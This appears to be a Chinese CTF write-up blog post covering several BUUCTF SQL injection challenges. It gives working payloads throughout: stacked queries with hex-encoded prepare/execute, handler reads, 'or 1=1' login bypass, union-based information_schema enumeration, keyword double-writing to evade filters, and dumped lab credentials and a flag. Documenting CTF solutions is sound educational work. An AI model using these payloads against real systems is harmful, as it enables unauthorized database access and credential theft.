web之SQL注入篇BUU
web之SQL注入篇BUU
- [强网杯 2019]随便注
- 预处理语句
- handler
- [SUCTF 2019]EasySQL
- 判断是字符型还是数字型注入
- 判断是否可以联合查询
- 判断是否可以使堆叠注入
- ||的两种作用
- [极客大挑战 2019]EasySQL1
- 万能密码
- [极客大挑战 2019]LoveSQL
- 万能密码
- 判断字段数
- 联合查询
- 使用数据库函数
- 查看该数据库的数据表名
- 查询对应数据表的字段名
- 获取数据表的数据
- [极客大挑战 2019]BabySQL
- 判断字段数
- 查询数据库名
- 查询数据表
- 查询数据表的字段名
- 查询所有数据库名
- 查询ctf库的数据表
- 查询Flag表的字段名
- 查询字段值
[强网杯 2019]随便注
万能密码
order by 排序
union select 1,2;
show databases;
show tables;
预处理语句
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
1';SeT@half=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @half;execute execsql;#
handler
1'; handler `1919810931114514` open as `half`; handler `half` read next;#
[SUCTF 2019]EasySQL
输入1
判断是字符型还是数字型注入
可以输入1-1,让其查询0的结果,有回显,猜测为数字型
再输入1a,没有回显,则为数字型,如果是字符型的话,会进行强制转换,使’1a’=1
判断是否可以联合查询
- 联合查询一般会判断字段数,order by
判断出字段数后,再进行union select
发现不是联合查询注入
判断是否可以使堆叠注入
1;show databases;
1;show tables;
1;show columns from Flag
||的两种作用
输入很大很大的数,发现无论输入什么,获得的结果都与输入1的结果都是一样。猜测执行的SQL语句可能有||符号。
查看此时的sql_mode
说明此时的||是or的作用,输入*,1试试
使用SET修改sql_mode,此时的||是连接字符的作用,输入1;set sql_mode=PIPES_AS_CONCAT;select 1
[极客大挑战 2019]EasySQL1
万能密码
用户名:admin
密码:1’ or 1=1 #
[极客大挑战 2019]LoveSQL
万能密码
得到用户名和密码
判断字段数
当输入order by 4,结果出错,说明该表有三个字段
联合查询
admin’ union select 1,2,3 #
查到了admin的结果,那么要是前面的用户不存在,那么就会出现联合查询的结果.输入1’ union select 1,2,3#
使用数据库函数
函数 | 作用 |
---|---|
version() | 查看数据库版本 |
database() | 查看数据库名 |
user() | 查看用户名 |
@@version_compile_os | 查看操作系统版本 |
输入1’ union select 1,database(),user()#
得到数据库为geek
查看该数据库的数据表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到数据表名
查询对应数据表的字段名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'#1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
得到对应的字段名,两个数据表的字段名一样
获取数据表的数据
1' union select 1,2,group_concat(id,username,password) from geekuser#1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
geekuser数据表
l0ve1ysq1数据表
该结果超级长,右键检查,查看源码,复制
Your password is '1cl4ywo_tai_nan_le,
2glzjinglzjin_wants_a_girlfriend,
3Z4cHAr7zCrbiao_ge_dddd_hm,
40xC4m3llinux_chuang_shi_ren,
5Ayraina_rua_rain,
6Akkoyan_shi_fu_de_mao_bo_he,
7fouc5cl4y,
8fouc5di_2_kuai_fu_ji,
9fouc5di_3_kuai_fu_ji,
10fouc5di_4_kuai_fu_ji,
11fouc5di_5_kuai_fu_ji,
12fouc5di_6_kuai_fu_ji,
13fouc5di_7_kuai_fu_ji,
14fouc5di_8_kuai_fu_ji,
15leixiaoSyc_san_da_hacker,
16flagflag{37153c15-ae06-433e-b0f7-684ebfa5f63f}'
[极客大挑战 2019]BabySQL
万能密码
咋不好使了
出现了报错提示
猜测可能是过滤了or字符,双写试试,是否能绕过
成功绕过
判断字段数
绕过or
绕过or 、by
查询数据库名
绕过union、select
输入1’ ununionion seselectlect 1,database(),user()#
查询数据表
绕过from、where
1’ ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=‘geek’#
查询数据表的字段名
b4bsql数据表
1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘b4bsql’#
geekuser数据表
1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘geekuser’#
规规矩矩查询结束,没有查到flag
查询所有数据库名
1’ ununionion seselectlect 1,2,group_concat(schema_name)frfromom infoorrmation_schema.schemata #
查询ctf库的数据表
1’ ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=‘ctf’#
查询Flag表的字段名
1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘Flag’#
查询字段值
1’ ununionion seselectlect 1,2,group_concat(flag) frfromom (ctf.Flag)#
web之SQL注入篇BUU相关推荐
- oracle延时盲注如何防止,【原创】WEB安全第四章SQL注入篇21 oracle 延时注入
WEB安全第四章SQL注入篇21 oracle 延时注入 1.简介 DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制.首先,不能直接将该函数注入子查询中,因为O ...
- 渗透学习-SQL注入篇-基础知识的学习(持续更新中)
提示:仅供进行学习使用,请勿做出非法的行为.如若由任何违法行为,将依据法律法规进行严惩!!! 文章目录 前言 一.SQL注入产生的原因 二.手工注入大致过程 1.判断注入点: 2.猜解列名 3.猜解能 ...
- CTFshow——web入门——sql注入
web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...
- ctfshow web入门-sql注入
ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...
- DVWA通关-SQL注入篇
DVWA通关-SQL注入篇 开篇之前 我知道网上也有很多通关攻略,但都是别人通关,复制粘贴也是别人的,所以就想写一下自己的.写下这篇文章主要是记录自己的学习,以及和各位朋友交流,有错误的地方,希望 ...
- 《从0到1:CTFer成长之路》书籍配套题目-[第一章 web入门]SQL注入-2
[第一章 web入门]SQL注入-2 一.信息收集 1.首页 2.登录成功会跳转到 3.进行测试判断 二.尝试破解 1.用post型的sqlmap破解 <1>.首先,开burp截包 < ...
- 测试具有44个漏洞点的简单小靶场-SQL注入篇
文章目录 本地搭建 SQL注入篇 注入1(数字型注入) 注入2(闭合单引号) 注入3(闭合双引号) 注入4(闭合括号) 注入5(报错注入) 注入6(布尔盲注) 注入7(过滤了'--'和'#'以及'%2 ...
- 第19篇:WEB漏洞~SQL注入~SqlMap绕过WAF
目录 1. 本文 2. 示例 2.1. 简要其他绕过方式学习 2.1.1. IP 白名单 2.1.2. 静态资源 2.1.3. url 白名单 2.1.4. 爬虫白名单 2.2. FUZZ绕过脚本结合 ...
- web漏洞-淡然qqyw图标点亮系统源码审计-sql注入篇
未知cms 在测试过程中多数情况下会遇到常见的 DedeCMS(织梦).discuz(论坛类).wordpress(内容管理类) 等源码结构,这种一般采用非框架类开发(少部分框架类开发)对此类cms进 ...
最新文章
- python自动化接口测试中的cookies怎么实现_Python接口自动化之cookie、session应用
- ctrl+shift+l指定选择 vscode_6.PYTHON开发利器之VS Code常用配置介绍
- LDD3源码分析之阻塞型I/O
- 11.2 计算机保护条例解读
- 安装discuz论坛mysqli解决方法
- Mybatis查询可能为null
- Javascript 笔记与总结(1-4)this
- GWT Spring和Hibernate进入数据网格世界
- lvs mysql 端口_LVS配置及多端口服务配置
- java linux 调用32位so_从linux源码看socket(tcp)的timeout
- JS之Window对象
- 自动机器学习工具全景图:精选22种框架,解放炼丹师
- 对离散点进行积分的python程序实现_Stochastic Calculus(Python)(四)
- 【Python实用工具】暴力破解-1!Python编写四位数密码本
- 【ESG】Aggregate Confusion: The Divergence of ESG Ratings
- 从多种模型中选择最合适的模型,用于行人检测
- kuberntes集群不能解析service ip故障排查记录
- Unity实战篇:实现虚拟摇杆控制人物(Easy Touch 5.X插件)
- server2012安全_2012年重要安全提示
- Scala编程——下界介绍与实例分析
热门文章
- 马云总结创业三要素:乐观、自查、坚持
- 时间序列模型中,哪一个模型可以较好地拟合波动性的分析和预测
- 倚天服务器里怎么修改装备,倚天私服完整GM命令
- 无法连接校园网/校园网登陆窗不弹出/WiFi显示已连接但不能上网的问题
- 中望3D2022 草图绘制:绘图
- prototype使用学习手册指南之Position.js
- java2b_在java中,怎么将%2B变成+
- 《自动驾驶技术系列丛书》--第五章 自动驾驶汽车决策与控制(1)
- 正版Adobe软件来了!Adobe全球唯一正版全家桶订阅只需0元/年
- 显卡风扇狂转的解决方案